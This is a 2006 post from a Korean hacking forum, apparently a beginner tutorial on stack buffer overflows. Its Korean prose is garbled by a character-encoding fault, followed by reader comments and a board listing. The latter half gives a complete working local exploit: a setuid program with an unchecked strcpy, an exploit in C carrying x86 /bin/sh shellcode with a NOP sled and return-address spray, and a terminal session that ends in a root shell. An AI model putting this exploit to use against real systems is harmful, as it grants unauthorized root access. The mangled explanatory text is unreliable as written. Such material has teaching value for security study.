1581, 4/80 ȸ¿ø°¡ÀÔ  ·Î±×ÀΠ 
   blackcoder
   http://blackcoder.tingstar.net
   ¾Ë±â ¾î·Æ°Ô ¼³¸íÇÑ Buffer Overflow

http://www.hackerschool.org/HS_Boards/zboard.php?id=Free_Lectures&no=482 [º¹»ç]


Title : Buffer Overflow
Writter : BlackCoder(blackcoder at naver.com)
Date : 2006/2/17
irc : #studyhack

Âü°í¹®Çå :
1. leon.null2root.org ÀÇ ¿øÀç¾Æºü´ÔÀÇ BOF°­ÁÂ
2. Smashing The Stack For Fun And Profit
3. Corezine volume 01 - Juli 1999
4. http://www.subterrain.net/~jbl/overflow-papers/buffer.txt
5. ¿ø±¤´ë bugbox?ÃßÀº¼®/ÀÌÁ¾¿õ´ÔÀÇ ¹öÆÛ ¿À¹ö Ç÷οì : ÇØÅ· °ü·Ã ³»¿ë
6. ±× ¿Ü ¾Ë ¼ö ¾ø´Â ÀÛ¼ºÀÚ´ÔÀÇ ±Û

1. Buffer Overflow?


BOF´Â ÁöÁ¤µÈ ¸Þ¸ð¸® ¿µ¿ªÀ» ¹þ¾î³ª¼­ ÀϾ´Â ¹ö±×ÀÌ´Ù.

BOF¿¡´Â 2°¡Áö Á¾·ù°¡ ÀÖ´Ù. stack overflow ¿Í heap overflow ÀÌ ÀÖ´Ù.

ÇÁ·Î±×·¡¸Ó°¡ Á¶±Ý¸¸ ½Å°æÀ» ¾È½áµµ »ý±â´Â ÀÚÁÖ º¼ ¼ö ÀÖ´Â ¹ö±×ÀÌ´Ù.


2. ¹öÆÛ(Buffer)¶õ?


¹öÆÛ(Buffer)¶õ ÄÄÇ»ÅÍÀÇ ÁÖ±â¾ï ÀåÄ¡¿Í ÁÖº¯ÀåÄ¡ »çÀÌ¿¡¼­

µ¥ÀÌÅ͸¦ ÁÖ°í¹ÞÀ» ¶§ Á¤º¸¸¦ Àӽ÷Π±â¾ïÇØµÎ°í ±â¾ïÇصδ Àӽðø°£ÀÌ´Ù.

¹öÆÛ¿¡´Â 2°¡Áö Á¾·ù°¡ Àִµ¥ stack °ú heap À¸·Î ³ª´­ ¼ö ÀÖ´Ù.

¶Ç FILO, FIFO ¶ó´Â 2°¡Áö ±¸Á¶·Î ³ª´­¼ö Àִµ¥,

stackÀº FILO±¸Á¶, heapÀº FIFO±¸Á¶ÀÌ´Ù.


±×·³ FILO¿Í FIFO´Â ¹«¾ùÀϱî?


FILO(first-in,last-out/FILO) Áï óÀ½ µé¾î°£ °ÍÀÌ ¸¶Áö¸·¿¡ ³ª¿Â´Ù´Â ¶æÀÌ´Ù.

¿¹¸¦ µé¾î µ¿ÀüÀ» ½×°í ³­µÚ¿¡ º¸¸é óÀ½ ½×Àº°Ô ¸Ç ¹Ø¿¡,

¸Ç ³ªÁß¿¡ ½×Àº°Ô ¸Ç À§¿¡ ÀÖ´Ù.

Áï, ¸Ç óÀ½¿¡ µé¾î°£ µ¥ÀÌÅÍ°¡ ¸Ç ¹Ø¿¡ À§Ä¡ÇÏ°í, ±× ´ÙÀ½¿¡ µé¾î°£ µ¥ÀÌÅÍ°¡

±× À§¿¡ À§Ä¡ÇÑ´Ù. ÀÌ·¸°Ô µ¥ÀÌÅ͵éÀÌ ½×ÀÌ°Ô µÈ´Ù. ¹Ý´ë·Î µ¥ÀÌÅ͸¦ ²¨³¾¶§,

¸Ç ¸¶Áö¸·¿¡ µé¾î°£ µ¥ÀÌÅÍ, Áï ¸Ç À§ÂÊ¿¡ ÀÖ´Â µ¥ÀÌÅ͸¦ ²¨³»¾ßÁö¸¸ ¾Æ·¡¿¡ ÀÖ´Â

µ¥ÀÌÅ͸¦ ²¨³¾ ¼ö ÀÖ°Ô µÈ´Ù. ÀÌ·±½ÄÀ¸·Î Á¦ÀÏ Ã³À½ µé¾î°£ µ¥ÀÌÅ͸¦ ²¨³»±â

À§Çؼ­´Â ¸Ç ¸¶Áö¸·¿¡ ÀÖ´Â µ¥ÀÌÅÍ Áï ¸Ç À§¿¡ ÀÖ´Â µ¥ÀÌÅ͸¦ ²¨³»°í ³­ µÚ Â÷·ÊÂ÷·Ê

²¨³»¾ß¸¸ Çϴ°ÍÀÌ´Ù.


´ÙÀ½À¸·Î,


FIFO(first-in,first-out/FIFO) Áï óÀ½ µé¾î°£ °ÍÀÌ Ã³À½¿¡ ³ª¿Â´Ù´Â ¶æÀÌ´Ù.

¹æ±Ý ¼³¸íÇÑ FILO¸¦ ÀÌÇØÇÏ¿´´Ù¸é ½¬¿ï °ÍÀÌ´Ù. ¹Ý´ë·Î »ý°¢ÇÏ¸é µÈ´Ù.

¿¹¸¦ µé¾î °³¹Ì¶§°¡ ÁÙÁö¾î¼­ »¡´ë¼ÓÀ¸·Î µé¾î°£´Ù. ½Ã°£ÀÌ Áö³ª¸é,

¸ÕÀú µé¾î°£ °³¹Ì°¡ ¸ÕÀú »¡´ë¹ÛÀ¸·Î ³ª¿Ã °ÍÀÌ´Ù.

Áï, FIFO´Â, ¸ÕÀú µé¾î°£ µ¥ÀÌÅÍ°¡ ¸ÕÀú ³ª¿À´Â µ¥ÀÌÅͱ¸Á¶ÀÌ´Ù.


3. ÇÁ·Î¼¼½º(Process) ÀÇ ±¸Á¶


  ##################
  #      stack     #
  ##################
  #      heap      #
  ##################
  #      data      #
  ##################
  #      text      #
  ##################


¿©±â¼­ °¡Àå Áß¿äÇÑ stack ¿¡ ´ëÇØ ¾Ë¾Æº¸ÀÚ.

¸Þ¸ð¸®»ó¿¡¼­ °¡Àå À§ÂÊ¿¡ À§Ä¡ÇÑ StackÀº ´ëºÎºÐ C ¾ð¾î·Î ÀÛ¼ºµÇ¾î ÀÖ´Â

ÇÁ·Î±×·¥ ¶§¹®¿¡ ¸¸µé¾îÁø ±¸¿ªÀÌ´Ù. C¾ð¾î¿¡¼­ ÇÔ¼ö¸¦ È£ÃâÇÒ ¶§, ÇÔ¼ö ¾È¿¡¼­

»ç¿ëµÇ´Â Áö¿ªº¯¼ö µîÀ» ÀúÀåÇÑ´Ù.


4. Stack Overflow


void over(char *str){
char buffer[20];
strcpy(buffer,str);
}
main()
{
int i;
char large[50];
for( i=0;i<49;i++){
large[i]='a';
}
over(large);
}


À§ ¼Ò½ºÀÇ ¸Þ¸ð¸® ±¸Á¶¸¦ »ìÆ캸ÀÚ¸é


[buffer][sfp][ret][*str]

[*str] char *str

[ret] : ¿ø·¡ÀÇ ÇÔ¼öÀÇ ÁÖ¼Ò°ªÀÌ ÀúÀå.

[sfp] : Stack Frame Pointer, ½ºÅÿ¡¼­ ÇöÀçÀÇ À§Ä¡¸¦ ³ªÅ¸³»´Â ·¹Áö½ºÅÍ      

[buffer] : buffer[20]


±×·¯¸é ÀÌÁ¦ ½ÇÁ¦·Î BOF¸¦ ¾î¶»°Ô Çϴ°¡?



1. ¸ÕÀú bufferÀ» °¡µæ ä¿î´Ù.

2. Shellcode¸¦ ä¿ì°í ret¿¡ ShellcodeÀÇ ¸Ç ¾ÕºÎºÐ ÁÖ¼Ò¸¦ ³Ö´Â´Ù.


[buffer   ][sfp    ][ret               ]
[shellcode][0000000][ShellcodeÀÇ adress]


¿©±â¼­ Shellcode¶õ ¹«¾ùÀΰ¡?

¼³¸íÀÌ ³Ê¹« º¹ÀâÇϱ⿡ ´Ù¸¥ºÐÀÇ °­Á¸¦ º¸¼¼¿ä.


- ½©Äڵ忡 ´ëÇÑ ÀÚ·á ¸µÅ©

http://blog.naver.com/zsup1343/60003844606

http://blog.naver.com/zsup1343?Redirect=Log&logNo=60003618069

---------------------------------------------------------------

ÀÌÁ¦ ´ëÃæ Shellcode °¡ ¹ºÁö °¨ÀÌ ÀâÇûÀ»°Å´Ù.

±×·³ ÀÌÁ¦ ½ÇÁ¦·Î ÇÁ·Î±×·¥À» °ø°ÝÇغ¸ÀÚ.


-bash-2.05b$ cat > vul1.c
int main(int argc, char *argv[])
{
char buffer[500];
strcpy(buffer, argv[1]);
return 0;
}
-bash-2.05b$ gcc -o vul1 vul1.c
-bash-2.05b$ su root
password :
-bash-2.05b# chmod +s vul1
-bash-2.05b# exit
-bash-2.05b$ cat > exp.c
#include <stdlib.h>
char shellcode[] =
"\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0"
"\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d"
"\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73"
"\x68"; // ¼¿ÄÚµå^^

unsigned long sp(void)
{ __asm__("movl %esp, %eax");}  
// Áß¿äÇÑ ÇÔ¼ö, ÇöÀç sp ·¹Áö½ºÅÍÀÇ °ªÀ» ±¸ÇÑ´Ù.
// ÀÌ°É ÀÌ¿ëÇؼ­ ¼ÐÄڵ尡 ÀúÀå µÇ Àִ°÷À» ÁöÁ¤ÇÒ ¼ö ÀÖ´Ù.

int main(int argc, char *argv[])
{
        int i, offset;
        long esp, ret, *addr_ptr;
        char *buffer, *ptr;
        offset = 0; // ¿ÀÇÁ¼Â 0À» »ç¿ë
        esp = sp(); // ÇöÀç ½ºÅÃÆ÷ÀÎÅ͸¦ esp¿¡ ÀúÀå
        ret = esp - offset;
        
        buffer = malloc(600); //¹öÆÛ¸¦ À§ÇÑ ¸Þ¸ð¸® 600¹ÙÀÌÆ®¸¦ Èü¿¡ ÇÒ´ç
        
        //Àüü ¹öÆÛ¸¦ ¸®ÅÏÁּҷΠä¿ò
        ptr = buffer;
        addr_ptr = (long *) ptr;
        for(i=0; i < 600; i+=4)
        { *(addr_ptr++) = ret; }
        
        //¹öÆÛÀÇ Ã³À½ 200¹ÙÀÌÆ®¸¦ NOP¸í·ÉÀ¸·Î ä¿ò
        for(i=0; i < 200; i++)
        { buffer[i] = '\x90'; }
        
        //¼¿Äڵ带 NOP½ä¸Å ´ÙÀ½¿¡ µÐ´Ù.
        ptr = buffer + 200;
        for(i=0; i < strlen(shellcode); i++)
        { *(ptr++) = shellcode[i]; }
        
        //¹®ÀÚ¿­ÀÇ ¸Ç ¸¶Áö¸·À» ¼³Á¤
        buffer[600-1] = 0;
        
        execl("./vul1", "vul1", buffer, 0);
        
        // ¹öÆÛ ¸Þ¸ð¸®¸¦ Áö¿ò
        free(buffer);
        return 0;
}

-bash-2.05b$ gcc -o exp exp.c
-bash-2.05b$ ./exp

sh-2.05a# whoami
root
sh-2.05a#


³Ê¹« Ⱦ¼³¼ö¼³ Ç߳׿ä -_-;

ÀÌ»óÀ¸·Î °­Á¸¦ ¸¶Ä¨´Ï´Ù.

irc #studyhack µé·ÁÁÖ¼¼¿ä ¤¾¤¾

  Hit : 12811     Date : 2006/02/17 06:14



    
geniusevil ¾î¼Àºí¸®¸¦ ¸ð¸£´Ï ¹÷Â÷³×¿ä.. 2006/02/17  
wjddyd41 ¾î·Æ³× , 2006/02/18  
cksgus22 ´ÙÀ½¹ø¿£ ¾Ë±â½¬¿î °­Á·Î... 2006/04/15  
DEUXISM °£´ÜÇϳß.. 2006/04/28  
1521   ¾Èµå·ÎÀ̵å ÇÁ·Î±×·¡¹Ö ½ÃÀÛÇß½À´Ï´Ù ¤·¤µ¤·/!!!!![3]     tyback
02/18 7665
1520   ¾È´¨Çϼ¼¿ä [1]     shyguy0708
11/02 5133
1519   ¾È³çÇϼ¼¿ä^^     kakaman
09/11 6521
1518   ¾È³çÇϼ¼¿ä?     wkdqkf2
03/18 6211
1517   ¾È³çÇϼ¼¿ä. ·¹º§µµ ¿Ã¸±°â ¿À´ÃºÎÅÍ Á¦ ºí·Î±×¿¡ ¿Ã¸° JSP °­ÀǸ¦ ¿Ã¸®·Á°í ÇÕ´Ï´Ù. ¹®Á¦½Ã ¸»¾¸ºÎŹµå·Á¿ä - MinjuneL     tlsdmq12
11/18 7798
1516   ¾È³çÇϼ¼¿ä.     god0631a
03/16 3560
1515   ¾È³çÇϼ¼¿ä Áø·Î¸¦°í¹ÎÇÏ°íÀÖ½À´Ï´Ù[2]     p_puing__
04/10 7306
  ¾Ë±â ¾î·Æ°Ô ¼³¸íÇÑ Buffer Overflow[4]     blackcoder
02/17 12810
1513   ¾Ë°í¸®Áò¿¡ ´ëÇØ     disnwkdl420
07/21 7863
1512   ¾Ë°í¸®ÁòÀ̶õ?     han0161
05/30 7186
1511   ¾Ë°í¸®Áò ½ºÅ͵ð ¸ðÁýÇÕ´Ï´Ù [´ëÀü][5]     windowhan
09/10 6945
1510   ¾Ë°í¸®Áò ÃÖÀûÈ­ ±â¹ý[1]     han0161
06/02 8197
1509   ¾ËÅøÁî ÇÁ·Î±×·¥ÀÇ ±¤°í¾ø¾Ö±â![13]     kgt2001sus
01/01 8772
1508   ¾Èö¼ö¿¬±¸¼Ò°¡ ±ÇÇÏ´Â PC º¸¾È ¼öÄ¢     koresong
10/18 6606
1507   ¾Èö¼öÀÇ ¿ª»ç[6]     pash080
08/20 6764
1506   ¾Ã¾î¸Ô´Â C ¾ð¾î °­ÀÇ - Á¦ 1 °­ <C ¾ð¾îÀÇ ¼¼°è·Î~>[2]     kevin0960
01/09 8275
1505   ¾Ã¾î¸Ô´Â C ¾ð¾î - <±âÃÊ ¹®¹ý 1>     kevin0960
01/10 9087
1504   ¾ã¾È TCP/IP Åë½Å¼­ºñ½º¿Í ÇÁ·ÎÅäÄÝ     dfutn626
02/22 7331
1503   ¾à°£ °øºÎÇÑ pythonÇÔ¼öÁ¤¸®[3]     shell
01/06 7059
1502   ¾ãÀº TCP/IP µé¾î°¡±â[3]     dfutn626
02/21 8802
[1][2][3] 4 [5][6][7][8][9][10]..[80]

Copyright 1999-2024 Zeroboard / skin by Hackerschool.org / Secure Patch by Hackerschool.org